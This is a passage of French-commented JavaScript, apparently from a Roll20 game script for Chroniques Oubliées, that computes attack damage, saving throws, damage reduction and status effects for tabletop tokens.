(isNaN(attCarBonus)) { if (attCarBonus.startsWith('@{')) { var carac = caracOfMod(attCarBonus.substr(2, 3)); if (carac) { var simplerAttCarBonus = modCarac(attaquant, carac); if (!isNaN(simplerAttCarBonus)) { attCarBonus = simplerAttCarBonus; } } } } if (attCarBonus === "0" || attCarBonus === 0) attCarBonus = ""; else attCarBonus = " + " + attCarBonus; if (isNaN(attDMBonusCommun) || attDMBonusCommun === 0) attDMBonusCommun = ''; else if (attDMBonusCommun > 0) attDMBonusCommun = '+' + attDMBonusCommun; // Les autres modifications aux dégâts qui ne dépendent pas de la cible if (options.rayonAffaiblissant) { attDMBonusCommun += " -2"; } if (attributeAsBool(attaquant, 'masqueDuPredateur')) { var bonusMasque = modCarac(attaquant, 'SAGESSE'); if (bonusMasque > 0) attDMBonusCommun += " +" + bonusMasque; } if (attributeAsBool(attaquant, 'rageDuBerserk')) { options.additionalDmg.push({ type: mainDmgType, value: '1d6' }); } var attrPosture = tokenAttribute(attaquant, 'postureDeCombat'); if (attrPosture.length > 0) { attrPosture = attrPosture[0]; var posture = attrPosture.get('max'); var postureVal; if (posture.startsWith('DM')) { postureVal = parseInt(attrPosture.get('current')); attDMBonusCommun += " -" + postureVal; explications.push("Posture de combat => -" + postureVal + " DM"); } else if (posture.endsWith('DM')) { postureVal = parseInt(attrPosture.get('current')); attDMBonusCommun += " +" + postureVal; explications.push("Posture de combat => +" + postureVal + " DM"); } } if (aUnCapitaine(attaquant, evt, pageId)) attDMBonusCommun += " +2"; // Les autres sources de dégâts if (options.distance) { if (options.semonce) { options.additionalDmg.push({ type: mainDmgType, value: '1d6' }); explications.push("Tir de semonce => +5 en Attaque et +1d6 aux DM"); } } else { //bonus aux attaques de contact if (attributeAsBool(attaquant, 'agrandissement')) { attDMBonusCommun += "+2"; explications.push("Agrandissement => +2 aux DM"); } if (attributeAsBool(attaquant, 'forceDeGeant')) { attDMBonusCommun += "+2"; explications.push("Force de géant => +2 en Attaque"); } if (options.frappeDuVide) { options.additionalDmg.push({ type: mainDmgType, value: '1d6' }); } } if (attributeAsBool(attaquant, 'forgeron_' + attackLabel)) { var feuForgeron = charAttributeAsInt(attackingCharId, 'voieDuMetal', 0); if (feuForgeron < 1 || feuForgeron > 5) { error("Rang dans la voie du métal de " + attackerTokName + " inconnu ou incorrect", feuForgeron); } else { options.additionalDmg.push({ type: 'feu', value: feuForgeron }); } } var poisonAttr = tokenAttribute(attaquant, 'poisonRapide_' + attackLabel); if (poisonAttr.length > 0) { poisonAttr = poisonAttr[0]; options.additionalDmg.push({ type: 'poison', value: poisonAttr.get('current'), partialSave: { carac: 'CON', seuil: poisonAttr.get('max') } }); explications.push("L'arme est empoisonnée"); evt.deletedAttributes = evt.deletedAttributes || []; evt.deletedAttributes.push(poisonAttr); poisonAttr.remove(); } if (charAttributeAsBool(attackingCharId, 'dmgArme1d6_' + attackLabel)) { options.additionalDmg.push({ type: mainDmgType, value: '1d6' }); explications.push("Arme enduite => +1d6 aux DM"); } if (options.champion) { options.additionalDmg.push({ type: mainDmgType, value: '1d6' }); explications.push(attackerTokName + " est un champion, son attaque porte !"); } ///////////////////////////////////////////////////////////////// //Tout ce qui dépend de la cible var ciblesCount = cibles.length; //Pour l'asynchronie var finCibles = function() { ciblesCount--; if (ciblesCount === 0) { cibles.forEach(function(target) { if (target.attackMessage) { addLineToFramedDisplay(display, target.attackMessage); } else if (options.aoe) { //par exemple si attaque automatique addLineToFramedDisplay(display, "<b>" + target.tokName + "</b> :"); } if (target.dmgMessage) addLineToFramedDisplay(display, target.dmgMessage, 100, false); target.messages.forEach(function(expl) { addLineToFramedDisplay(display, expl, 80); }); }); finaliseDisplay(display, explications, evt); } }; cibles.forEach(function(target) { var attDMBonus = attDMBonusCommun; //Les modificateurs de dégâts qui dépendent de la cible if (options.pressionMortelle) { var pMortelle = tokenAttribute(target, 'pressionMortelle'); if (pMortelle.length === 0) { sendChar(attackingCharId, "Essaie une pression mortelle, mais aucun point vital de " + target.tokName + " n'a encore été affecté"); ciblesCount--; return; } attNbDices = pMortelle[0].get('max'); attDice = 4; //TODO : have an option for that attDMBonus = "+ " + pMortelle[0].get('current'); } if (_.has(options, "tempDmg")) { var forceTarg = modCarac(target, "FORCE"); if (forceTarg < 0) { attDMBonus = " +" + (-forceTarg); } else { attDMBonus = " -" + forceTarg; } } if (options.distance) { var tirPrecis = charAttributeAsInt(attackingCharId, 'tirPrecis', 0); if (tirPrecis > 0) { var modDex = modCarac(attaquant, 'DEXTERITE'); if (target.distance <= 5 * modDex) { attDMBonus += " + " + tirPrecis; target.messages.push("Tir précis : +" + tirPrecis + " DM"); } } } if (options.sournoise) { if (charAttributeAsBool(target, 'immuniteAuxSournoises')) { target.messages.push('Immunité aux attaques sournoises'); } else { target.additionalDmg.push({ type: mainDmgType, value: options.sournoise + 'd6' }); target.messages.push("Attaque sournoise => +" + options.sournoise + "+d6 DM"); } } if (target.chasseurEmerite) { attDMBonus += "+2"; } if (target.ennemiJure) { target.additionalDmg.push({ type: mainDmgType, value: '1d6' }); } if (target.tueurDeGeants) { target.additionalDmg.push({ type: mainDmgType, value: '2d6' }); } if (target.argent) { target.additionalDmg.push({ type: mainDmgType, value: '1d6' }); } var attrFeinte = tokenAttribute(target, 'feinte_' + attaquant.tokName); if (attrFeinte.length > 0 && attrFeinte[0].get('current') && attrFeinte[0].get('max')) { target.additionalDmg.push({ type: mainDmgType, value: '2d6' }); } var loupParmiLesLoups = charAttributeAsInt(attaquant, 'loupParmiLesLoups', 0); if (loupParmiLesLoups > 0 && estHumanoide(target)) { attDMBonus += "+" + loupParmiLesLoups; target.messages.push("Loup parmi les loups : +" + loupParmiLesLoups + " DM"); } if (attributeAsBool(attaquant, 'ombreMortelle') || attributeAsBool(attaquant, 'dedoublement')) { if (options.divise) options.divise *= 2; else options.divise = 2; } var attNbDicesCible = attNbDices; var attDiceCible = attDice; var attCarBonusCible = attCarBonus; if (!options.sortilege && charAttributeAsBool(target.charId, 'immuniteAuxArmes')) { if (options.magique) { attNbDicesCible = options.magique; attDiceCible = "6"; attCarBonusCible = modCarac(target, 'SAGESSE'); if (attCarBonusCible < 1) attCarBonusCible = ""; else attCarBonusCible = " +" + attCarBonusCible; } else { target.messages.push(target.tokName + " semble immunisé aux armes ordinaires"); attNbDicesCible = 0; attCarBonusCible = ""; attDMBonus = ""; } } var mainDmgRollExpr = addOrigin(attaquant.name, attNbDicesCible + "d" + attDiceCible + attCarBonusCible + attDMBonus); //Additional damage var additionalDmg = options.additionalDmg.concat(target.additionalDmg); if (!options.sortilege && !options.magique && charAttributeAsBool(target.charId, 'immuniteAuxArmes')) { additionalDmg = additionalDmg.filter(function(dmSpec) { switch (dmSpec.type) { case undefined: case 'normal': case 'poison': case 'maladie': return false; default: return true; } }); } if (options.tirDouble || options.tirDeBarrage) { mainDmgRollExpr += " +" + mainDmgRollExpr; additionalDmg.forEach(function(dmSpec) { dmSpec.value += " +" + dmSpec.Value; }); } var ExtraDmgRollExpr = ""; additionalDmg = additionalDmg.filter(function(dmSpec) { dmSpec.type = dmSpec.type || 'normal'; if (dmSpec.type != mainDmgType || isNaN(dmSpec.value)) { ExtraDmgRollExpr += " [[" + dmSpec.value + "]]"; return true; } // We have the same type and a constant -> should be multiplied by crit mainDmgRollExpr += " + " + dmSpec.value; return false; }); var mainDmgRoll = { type: mainDmgType, value: mainDmgRollExpr }; // toEvaluateDmg inlines // 0 : roll de dégâts principaux // 1+ : les rolls de dégâts supplémentaires var toEvaluateDmg = "[[" + mainDmgRollExpr + "]]" + ExtraDmgRollExpr; sendChat(attaquant.name, toEvaluateDmg, function(resDmg) { var rollsDmg = target.rollsDmg || resDmg[0]; var afterEvaluateDmg = rollsDmg.content.split(' '); var mainDmgRollNumber = rollNumber(afterEvaluateDmg[0]); mainDmgRoll.total = rollsDmg.inlinerolls[mainDmgRollNumber].results.total; mainDmgRoll.display = buildinline(rollsDmg.inlinerolls[mainDmgRollNumber], mainDmgType, options.magique); additionalDmg.forEach(function(dmSpec, i) { var rRoll = rollsDmg.inlinerolls[rollNumber(afterEvaluateDmg[i + 1])]; dmSpec.total = dmSpec.total || rRoll.results.total; var addDmType = dmSpec.type; dmSpec.display = dmSpec.display || buildinline(rRoll, addDmType, options.magique); }); if (target.touche) { //Devrait être inutile ? if (options.tirDeBarrage) target.messages.push("Tir de barrage : undo si la cible décide de ne pas bouger"); if (options.pointsVitaux) target.messages.push(attackerTokName + " vise des points vitaux mais ne semble pas faire de dégâts"); if (options.pressionMortelle) { removeTokenAttr(target, 'pressionMortelle', evt); target.messages.push(attackerTokName + " libère la pression des points vitaux, l'effet est dévastateur !"); spawnFx(target.token.get('left'), target.token.get('top'), 'bomb-death', pageId); } // change l'état de la cible, si spécifié if (options.enflamme) { var enflammePuissance = 1; if (options.puissant) enflammePuissance = 2; setTokenAttr(target, 'enflamme', enflammePuissance, evt); target.messages.push(target.tokName + " prend feu !"); } if (options.malediction) { setTokenAttr(target, 'malediction', 3, evt); target.messages.push(target.tokName + " est maudit..."); } // Draw effect, if any if (options.fx) { var p1e = { x: attackingToken.get('left'), y: attackingToken.get('top'), }; var p2e = { x: target.token.get('left'), y: target.token.get('top'), }; spawnFxBetweenPoints(p1e, p2e, options.fx, pageId); } if (options.targetFx && !options.aoe) { spawnFx(target.token.get('left'), target.token.get('top'), options.targetFx, pageId); } target.rollsDmg = rollsDmg; // Compte le nombre de saves pour la synchronisation // (On ne compte pas les psave, gérés dans dealDamage) var saves = 0; //ajoute les états sans save à la cible if (options.etats) { options.etats.forEach(function(ce) { if (ce.save) { saves++; return; //on le fera plus tard } if (testCondition(ce.condition, attaquant, [{ charId: target.charId }], d20roll)) { setState(target, ce.etat, true, evt); target.messages.push(target.tokName + " est " + ce.etat + eForFemale(target.charId) + " par l'attaque"); } else { if (ce.condition.type == "moins") { target.messages.push( "Grâce à sa " + ce.condition.text + ", " + target.tokName + " n'est pas " + ce.etat + eForFemale(target.charId)); } } }); } var savesEffets = 0; // Ajoute les effets sans save à la cible if (options.effets) { options.effets.forEach(function(ef) { if (ef.save) { saves++; savesEffets++; return; //on le fera plus tard } if (ef.effet == 'dedoublement') { if (attributeAsBool(target, 'dedouble') || attributeAsBool(target, 'dedoublement')) { target.messages.push(target.tokName + " a déjà été dédoublé pendant ce combat"); return; } target.messages.push("Un double translucide de " + target.tokName + " apparaît. Il est aux ordres de " + attackerTokName); setTokenAttr(target, 'dedouble', true, evt); copieToken(target, undefined, IMAGE_DOUBLE, "Double de " + target.tokName, 'dedoublement', ef.duree, pageId, evt); return; } target.messages.push(target.tokName + " " + messageEffetTemp[ef.effet].activation); setTokenAttr(target, ef.effet, ef.duree, evt, undefined, getInit()); if (ef.effet == 'aveugleTemp') { setState(target, 'aveugle', true, evt); } else if (ef.effet == 'ralentiTemp') { setState(target, 'ralenti', true, evt); } if (ef.saveParTour) { setTokenAttr(target, ef.effet + "SaveParTour", ef.saveParTour.carac, evt, undefined, ef.saveParTour.seuil); } }); } // Tout ce qui se passe après les saves (autres que saves de diminution des dmg var afterSaves = function() { if (saves > 0) return; //On n'a pas encore fait tous les saves if (additionalDmg.length === 0 && mainDmgRoll.total === 0 && attNbDices === 0) { // Pas de dégâts, donc pas d'appel à dealDamage finCibles(); } else { dealDamage(target, mainDmgRoll, additionalDmg, evt, target.touche, options, target.messages, function(dmgDisplay, dmg) { if (options.strigeSuce) { var suce = attributeAsInt(attaquant, 'strigeSuce', 0); if (suce === 0) { setTokenAttr(attaquant, 'bufDEF', -3, evt); target.messages.push( attackerTokName + " s'agrippe à " + target.tokName + " et commence à lui sucer le sang"); } if (suce + dmg >= 6) { target.messaged.push( "Repus, " + attackerTokName + " se détache et s'envole"); target.messaged.push(target.tokName + " se sent un peu faible..."); setState(target, 'affaibli', true, evt); var defbuf = attributeAsInt(attaquant, 'bufDEF', 0); if (defbuf === -3) { removeTokenAttr(attaquant, 'bufDEF', evt); } else if (defbuf !== 0) { setTokenAttr(attaquant, 'bufDEF', defbuf + 3, evt); } } else { setTokenAttr(attaquant, 'strigeSuce', suce + dmg, evt); if (suce > 0) target.messages.push( attackerTokName + " continue à sucer le sang de " + target.tokName); } } if (options.vampirise) { soigneToken(attaquant, dmg, evt, function(soins) { target.messages.push( "L'attaque soigne " + attackerTokName + " de " + soins + " PV"); }); } target.dmgMessage = "<b>DM :</b> " + dmgDisplay; if (attributeAsBool(target, 'sous_tension') && options.contact) { ciblesCount++; sendChat("", "[[1d6]]", function(res) { var rolls = res[0]; var explRoll = rolls.inlinerolls[0]; var r = { total: explRoll.results.total, type: 'electrique', display: buildinline(explRoll, 'electrique', true) }; dealDamage(attaquant, r, [], evt, 1, options, target.messages, function(dmgDisplay, dmg) { var dmgMsg = "<b>Décharge électrique sur " + attackerTokName + " :</b> " + dmgDisplay; target.messages.push(dmgMsg); finCibles(); }); }); } if (attributeAsBool(target, 'sangMordant') && options.contact) { ciblesCount++; sendChat("", "[[1d6]]", function(res) { var rolls = res[0]; var explRoll = rolls.inlinerolls[0]; var r = { total: explRoll.results.total, type: 'acide', display: buildinline(explRoll, 'acide', true) }; dealDamage(attaquant, r, [], evt, 1, options, target.messages, function(dmgDisplay, dmg) { var dmgMsg = "<b>Le sang acide gicle sur " + attackerTokName + " :</b> " + dmgDisplay + " DM"; target.messages.push(dmgMsg); finCibles(); }); }); } finCibles(); }); } }; var expliquer = function(msg) { target.messages.push(msg); }; //Ajoute les états avec save à la cibles var etatsAvecSave = function() { if (savesEffets > 0) return; //On n'a pas encore fini avec les effets if (options.etats && saves > 0) { options.etats.forEach(function(ce) { if (ce.save) { if (testCondition(ce.condition, attaquant, [{ charId: target.charId }], d20roll)) { var msgPour = " pour résister à un effet"; var msgRate = ", " + target.tokName + " est " + ce.etat + eForFemale(target.charId) + " par l'attaque"; var saveOpts = { msgPour: msgPour, msgRate: msgRate, attaquant: attaquant }; save(ce.save, target, expliquer, saveOpts, evt, function(reussite, rolltext) { if (!reussite) { setState(target, ce.etat, true, evt); } saves--; afterSaves(); }); } else { if (ce.condition.type == "moins") { target.messages.push( "Grâce à sa " + ce.condition.text + ", " + target.tokName + " n'est pas " + ce.etat + eForFemale(target.charId)); } saves--; afterSaves(); } } }); } else afterSaves(); }; // Ajoute les effets avec save à la cible var effetsAvecSave = function() { if (options.effets && savesEffets > 0) { options.effets.forEach(function(ef) { if (ef.save) { var msgPour = " pour résister à un effet"; var msgRate = ", " + target.tokName + " " + messageEffetTemp[ef.effet].activation; var saveOpts = { msgPour: msgPour, msgRate: msgRate, attaquant: attaquant }; save(ef.save, target, expliquer, saveOpts, evt, function(reussite, rollText) { if (!reussite) { setTokenAttr(target, ef.effet, ef.duree, evt, undefined, getInit()); if (ef.effet == 'aveugleTemp') { setState(target, 'aveugle', true, evt); } else if (ef.effet == 'ralentiTemp') { setState(target, 'ralenti', true, evt); } if (ef.saveParTour) { setTokenAttr(target, ef.effet + "SaveParTour", ef.saveParTour.carac, evt, undefined, ef.saveParTour.seuil); } } saves--; savesEffets--; etatsAvecSave(); }); } }); } else etatsAvecSave(); }; var effetPietinement = function() { if (options.pietine && estAussiGrandQue(attaquant, target)) { testOppose(target, 'FOR', attaquant, 'FOR', target.messages, evt, function(resultat) { if (resultat == 2) { target.messages.push(target.tokName + " est piétiné par " + attackerTokName); setState(target, 'renverse', true, evt); target.touche++; } else { if (resultat === 0) diminueMalediction(attaquant, evt); target.messages.push(target.tokName + " n'est pas piétiné."); } effetsAvecSave(); }); } else effetsAvecSave(); }; // Peut faire peur à la cible if (options.peur) { peurOneToken(target, pageId, options.peur.seuil, options.peur.duree, { resisteAvecForce: true }, display, evt, effetPietinement); } else effetPietinement(); } else { evt.succes = false; finCibles(); } }); }); //Fin de la boucle pour toutes cibles } function finaliseDisplay(display, explications, evt) { explications.forEach(function(expl) { addLineToFramedDisplay(display, expl, 80); }); if (evt.succes === false && evt.action) { evt.personnage = evt.action.attaquant; var pc = attributeAsInt(evt.action.attaquant, 'PC', 0); if (pc > 0) { addLineToFramedDisplay(display, bouton(evt.personnage, "!cof-bouton-chance " + evt.id, "Chance") + " (reste " + pc + " PC)"); } if (charAttributeAsBool(evt.action.attaquant, 'runeDEnergie')) { addLineToFramedDisplay(display, bouton(evt.personnage, "!cof-bouton-rune-energie " + evt.id, "Rune d'énergie")); } } sendChat("", endFramedDisplay(display)); } // RD spécifique au type function typeRD(charId, dmgType) { if (dmgType === undefined || dmgType == 'normal') return 0; return charAttributeAsInt(charId, 'RD_' + dmgType, 0); } function probaSucces(de, seuil, nbreDe) { if (nbreDe == 2) { var proba1 = probaSucces(de, seuil, 1); return 1 - (1 - proba1) * (1 - proba1); } if (seuil < 2) seuil = 2; // 1 est toujours un échec else if (seuil > 20) seuil = 20; return ((de - seuil) + 1) / de; } // Meilleure carac parmis 2 pour un save. function meilleureCarac(carac1, carac2, personnage, seuil) { var charId = personnage.charId; var bonus1 = bonusTestCarac(carac1, personnage); if (carac1 == 'DEX') bonus1 += charAttributeAsInt(charId, 'reflexesFelins', 0); var bonus2 = bonusTestCarac(carac2, personnage); if (carac2 == 'DEX') bonus2 += charAttributeAsInt(charId, 'reflexesFelins', 0); var nbrDe1 = nbreDeTestCarac(carac1, charId); var nbrDe2 = nbreDeTestCarac(carac2, charId); var de = deTest(personnage); var proba1 = probaSucces(de, seuil - bonus1, nbrDe1); var proba2 = probaSucces(de, seuil - bonus2, nbrDe2); if (proba2 > proba1) return carac2; return carac1; } //s représente le save, avec une carac, une carac2 optionnelle et un seuil //expliquer est une fonction qui prend en argument un string et le publie // options peut contenir les champs : // - msgPour : message d'explication à afficher avant le jet // - msgReussite : message à afficher en cas de réussite // - msgRate : message à afficher si l'action rate // - attaquant : le {charId, token} de l'attaquant contre lequel le save se fait (si il y en a un) function save(s, target, expliquer, options, evt, afterSave) { var bonus = 0; if (options.attaquant && charAttributeAsBool(target, 'protectionContreLeMal') && estMauvais(options.attaquant)) { bonus += 2; expliquer("Protection contre le mal => +2 au jet de sauvegarde"); } var bonusAttrs = []; var carac = s.carac; //Cas où le save peut se faire au choix parmis 2 caracs if (s.carac2) { carac = meilleureCarac(carac, s.carac2, target, s.seuil); } if (carac == 'DEX') { bonusAttrs.push('reflexesFelins'); } testCaracteristique(target, carac, s.seuil, { bonusAttrs: bonusAttrs, bonus: bonus }, evt, function(tr) { var smsg = " Jet de " + carac + " " + s.seuil; if (options.msgPour) smsg += options.msgPour; expliquer(smsg); smsg = target.token.get('name') + " fait " + tr.texte; if (tr.reussite) { smsg += " => réussite"; if (options.msgReussite) smsg += options.msgReussite; } else { smsg += " => échec"; if (options.msgRate) smsg += options.msgRate; } expliquer(smsg); afterSave(tr.reussite, tr.texte); }); } function partialSave(ps, target, showTotal, dmgDisplay, total, expliquer, evt, afterSave) { if (ps.partialSave !== undefined) { if ((ps.partialSave.carac == 'CON' || ps.partialSave.carac2 == 'CON') && estNonVivant(target)) { expliquer("Les créatures non-vivantes sont immnunisées aux attaques qui demandent un test de constitution"); afterSave({ succes: true, dmgDisplay: '0', total: 0, showTotal: false }); return; } if (target.partialSaveAuto) { if (showTotal) dmgDisplay = '(' + dmgDisplay + ')'; afterSave({ succes: true, dmgDisplay: dmgDisplay + '/2', total: Math.ceil(total / 2), showTotal: true }); return; } save(ps.partialSave, target, expliquer, { msgPour: " pour réduire les dégâts", msgReussite: ", dégâts divisés par 2", attaquant: ps.attaquant }, evt, function(succes, rollText) { if (succes) { if (showTotal) dmgDisplay = "(" + dmgDisplay + ")"; dmgDisplay = dmgDisplay + " / 2"; showTotal = true; total = Math.ceil(total / 2); } else {} afterSave({ succes: succes, dmgDisplay: dmgDisplay, total: total, showTotal: showTotal }); }); } else afterSave(); } // Fonction asynchrone // displayRes est optionnel, et peut avoir 2 arguments // - un texte affichant le jet de dégâts // - la valeur finale des dégâts infligés function dealDamage(target, dmg, otherDmg, evt, crit, options, explications, displayRes) { if (options === undefined) options = {}; var expliquer = function(msg) { if (explications) explications.push(msg); else sendChar(target.charId, msg); }; if (attributeAsBool(target, 'intangible') || attributeAsBool(target, 'ombreMortelle') || (options.aoe === undefined && attributeAsBool(target, 'formeGazeuse'))) { expliquer("L'attaque passe à travers de " + target.token.get('name')); if (displayRes) displayRes('0', 0); return 0; } if (options.asphyxie && estNonVivant(target)) { expliquer("L'asphyxie est sans effet sur une créature non-vivante"); if (displayRes) displayRes('0', 0); return 0; } crit = crit || 1; otherDmg = otherDmg || []; evt.affectes = evt.affectes || []; var dmgDisplay = dmg.display; var dmgTotal = dmg.total; var showTotal = false; if (crit > 1) { dmgDisplay += " X " + crit; dmgTotal = dmgTotal * crit; if (options.affute) { var bonusCrit = randomInteger(6); dmgDisplay = "(" + dmgDisplay + ")+" + bonusCrit; dmgTotal += bonusCrit; } else { showTotal = true; } } //On trie les DM supplémentaires selon leur type var dmgParType = {}; otherDmg.forEach(function(d) { if (_.has(dmgParType, d.type)) dmgParType[d.type].push(d); else dmgParType[d.type] = [d]; }); // Dommages de même type que le principal, mais à part, donc non affectés par les critiques var mainDmgType = dmg.type; var dmgExtra = dmgParType[mainDmgType]; if (dmgExtra && dmgExtra.length > 0) { if (crit > 1) dmgDisplay = "(" + dmgDisplay + ")"; showTotal = true; var count = dmgExtra.length; dmgExtra.forEach(function(d) { count--; partialSave(d, target, false, d.display, d.total, expliquer, evt, function(res) { if (res) { dmgTotal += res.total; dmgDisplay += "+" + res.dmgDisplay; } else { dmgTotal += d.total; dmgDisplay += "+" + d.display; } if (count === 0) dealDamageAfterDmgExtra(target, mainDmgType, dmgTotal, dmgDisplay, showTotal, dmgParType, dmgExtra, crit, options, evt, expliquer, displayRes); }); }); } else { return dealDamageAfterDmgExtra(target, mainDmgType, dmgTotal, dmgDisplay, showTotal, dmgParType, dmgExtra, crit, options, evt, expliquer, displayRes); } } function applyRDMagique(rdMagique, dmgType, total, display) { if (total && rdMagique && rdMagique > 0) { switch (dmgType) { case 'normal': case 'poison': case 'maladie': if (total < rdMagique) { display += "-" + total; rdMagique -= total; total = 0; } else { display += "-" + rdMagique; total -= rdMagique; rdMagique = 0; } return { total: total, rdMagique: rdMagique, display: display }; default: return; } } return; } function applyRDSauf(rds, dmgType, total, display) { if (total) { for (var saufType in rds) { var rd = rds[saufType]; if (rd < 1 || saufType == dmgType) break; if (total < rd) { display += "-" + total; rds[saufType] -= total; total = 0; } else { display += "-" + rd; total -= rd; rds[saufType] = 0; } } } return { total: total, display: display }; } function dealDamageAfterDmgExtra(target, mainDmgType, dmgTotal, dmgDisplay, showTotal, dmgParType, dmgExtra, crit, options, evt, expliquer, displayRes) { var rdMain = typeRD(target.charId, mainDmgType); if (options.vampirise) { rdMain += attributeAsInt(target, 'RD_drain', 0); } if (rdMain > 0 && dmgTotal > 0) { dmgTotal -= rdMain; if (dmgTotal < 0) { rdMain += dmgTotal; dmgTotal = 0; } dmgDisplay += " - " + rdMain; showTotal = true; } var rdMagique; if (options.magique) rdMagique = 0; else rdMagique = typeRD(target.charId, 'sauf_magique'); if (rdMagique) showTotal = true; var resMagique = applyRDMagique(rdMagique, mainDmgType, dmgTotal, dmgDisplay); if (resMagique) { rdMagique = resMagique.rdMagique; dmgTotal = resMagique.total; dmgDisplay = resMagique.display; } var rdElems = 0; if (attributeAsBool(target, 'protectionContreLesElements')) { rdElems = charAttributeAsInt(target, 'voieDeLaMagieElementaire', 0) * 2; } if (rdElems > 0 && dmgTotal > 0 && estElementaire(mainDmgType)) { if (dmgTotal > rdElems) { dmgDisplay += ' - ' + rdElems; dmgTotal -= rdElems; rdElems = 0; } else { dmgDisplay += ' - ' + dmgTotal; rdElems -= dmgTotal; dmgTotal = 0; } } var rdSauf = []; if (target.attrs === undefined) { target.attrs = findObjs({ _type: 'attribute', _characterid: target.charId }); } target.attrs.forEach(function(attr) { var attrName = attr.get('name'); if (attrName.startsWith('RD_sauf_')) { if (attrName == 'RD_sauf_magique') return; var rds = parseInt(attr.get('current')); if (isNaN(rds) || rds < 1) return; rdSauf[attrName.substr(8)] = rds; } }); var resSauf = applyRDSauf(rdSauf, mainDmgType, dmgTotal, dmgDisplay); dmgTotal = resSauf.total; dmgDisplay = resSauf.display; var invulnerable = charAttributeAsBool(target, 'invulnerable'); var mitigate = function(dmgType, divide, zero) { if (estElementaire(dmgType)) { if (invulnerable) { divide(); } if (dmgType == 'froid' && attributeAsBool(target, 'masqueMortuaire')) { divide(); } } else { if ((dmgType == 'poison' || dmgType == 'maladie') && (invulnerable || estNonVivant(target))) { zero(); } else if (attributeAsBool(target, 'armureMagie')) { divide(); } } }; // Damage mitigaters for main damage mitigate(mainDmgType, function() { dmgTotal = Math.ceil(dmgTotal / 2); if (dmgExtra) dmgDisplay = "(" + dmgDisplay + ")"; dmgDisplay += " / 2"; showTotal = true; }, function() { dmgTotal = 0; }); // Other sources of damage // First count all other sources of damage, for synchronization var count = 0; for (var dt in dmgParType) { count += dmgParType[dt].length; } var dealOneType = function(dmgType) { if (dmgType == mainDmgType) { count -= dmgParType[dmgType].length; if (count === 0) dealDamageAfterOthers(target, crit, options, evt, expliquer, displayRes, dmgTotal, dmgDisplay, showTotal); return; //type principal déjà géré } showTotal = true; var dm = 0; var typeDisplay = ""; var typeCount = dmgParType[dmgType].length; dmgParType[dmgType].forEach(function(d) { partialSave(d, target, false, d.display, d.total, expliquer, evt, function(res) { if (res) { dm += res.total; if (typeDisplay === '') typeDisplay = res.dmgDisplay; else typeDisplay += "+" + res.dmgDisplay; } else { dm += d.total; if (typeDisplay === '') typeDisplay = d.display; else typeDisplay += "+" + d.display; } typeCount--; if (typeCount === 0) { var rdl = typeRD(target.charId, dmgType); if (rdl > 0 && dm > 0) { dm -= rdl; if (dm < 0) { rdl += dm; dm = 0; } typeDisplay += "-" + rdl; } var resMagique = applyRDMagique(rdMagique, dmgType, dm, typeDisplay); if (resMagique) { rdMagique = resMagique.rdMagique; dm = resMagique.total; typeDisplay = resMagique.display; } if (rdElems > 0 && dm > 0 && estElementaire(dmgType)) { if (dm > rdElems) { typeDisplay += ' - ' + rdElems; dm -= rdElems; rdElems = 0; } else { typeDisplay += ' - ' + dm; rdElems -= dm; dm = 0; } } var resSauf = applyRDSauf(rdSauf, dmgType, dm, typeDisplay); dm = resSauf.total; typeDisplay = resSauf.display; mitigate(dmgType, function() { dm = Math.ceil(dm / 2); if (dmgParType[dmgType].length > 1) typeDisplay = "(" + typeDisplay + ")"; typeDisplay += " / 2"; }, function() { dm = 0; }); dmgTotal += dm; dmgDisplay += "+" + typeDisplay; } count--; if (count === 0) dealDamageAfterOthers(target, crit, options, evt, expliquer, displayRes, dmgTotal, dmgDisplay, showTotal); }); }); }; if (count > 0) { for (var dmgType in dmgParType) { dealOneType(dmgType); } } else { return dealDamageAfterOthers(target, crit, options, evt, expliquer, displayRes, dmgTotal, dmgDisplay, showTotal); } } //Appelé quand on met à 0 PV function mort(personnage, evt) { if (charAttributeAsBool(personnage, 'exsangue') && !attributeAsBool(personnage, 'etatExsangue')) { setTokenAttr(personnage, 'etatExsangue', true, evt, "continue à agir malgré son état"); return; } setState(personnage, 'mort', true, evt); var targetPos = { x: personnage.token.get('left'), y: personnage.token.get('top') }; spawnFxBetweenPoints(targetPos, { x: 400, y: 400 }, "splatter-blood"); } function dealDamageAfterOthers(target, crit, options, evt, expliquer, displayRes, dmgTotal, dmgDisplay, showTotal) { var charId = target.charId; var token = target.token; // Now do some dmg mitigation rolls, if necessary if ((options.distance || options.aoe) && attributeAsBool(target, 'a_couvert')) { if (showTotal) dmgDisplay = "(" + dmgDisplay + ")"; dmgDisplay += " / 2"; dmgTotal = Math.ceil(dmgTotal / 2); showTotal = true; } partialSave(options, target, showTotal, dmgDisplay, dmgTotal, expliquer, evt, function(saveResult) { if (saveResult) { dmgTotal = saveResult.total; dmgDisplay = saveResult.dmgDisplay; showTotal = saveResult.showTotal; } var rd = charAttributeAsInt(charId, 'RDS', 0); if (crit > 1) rd += charAttributeAsInt(charId, 'RD_critique', 0); if (options.tranchant) rd += charAttributeAsInt(charId, 'RD_tranchant', 0); if (options.percant) rd += charAttributeAsInt(charId, 'RD_percant', 0); if (options.contondant) rd += charAttributeAsInt(charId, 'RD_contondant', 0); if (options.distance) { var piqures = charAttributeAsInt(charId, 'puquresDInsecte', 0); if (piqures > 0 && charAttributeAsBool(charId, 'DEFARMUREON') && charAttributeAsInt(charId, 'DEFARMURE', 0) > 5) rd += piqures; } if (attributeAsBool(target, 'masqueMortuaire')) rd += 2; if (target.defautCuirasse) rd = 0; if (options.intercepter) rd += options.intercepter; if (target.extraRD) { rd += target.extraRD; expliquer(target.tokName + " dévie le coup sur son armure"); } if (rd > 0) { if (showTotal) dmgDisplay = "(" + dmgDisplay + ") - " + rd; else { dmgDisplay += " - " + rd; showTotal = true; } } dmgTotal -= rd; if (dmgTotal < 0) dmgTotal = 0; if (options.divise) { dmgTotal = dmgTotal / options.divise; dmgDisplay = "(" + dmgDisplay + ")/" + options.divise; showTotal = true; } // compute effect on target if (options.pointsVitaux && dmgTotal > 0) { //dégâts retardés pour une pression mortelle var pMortelle = tokenAttribute(target, 'pressionMortelle'); var dmgPMort = dmgTotal; var numberPMort = 1; if (pMortelle.length > 0) { dmgPMort += pMortelle[0].get('current'); numberPMort += pMortelle[0].get('max'); } setTokenAttr(target, 'pressionMortelle', dmgPMort, evt, undefined, numberPMort); } else { var bar1 = parseInt(token.get('bar1_value')); var pvmax = parseInt(token.get('bar1_max')); if (isNaN(bar1)) { error("Pas de points de vie chez la cible", token); bar1 = 0; pvmax = 0; } else if (isNaN(pvmax)) { pvmax = bar1; token.set("bar1_max", bar1); } var manaAttr = findObjs({ _type: 'attribute', _characterid: 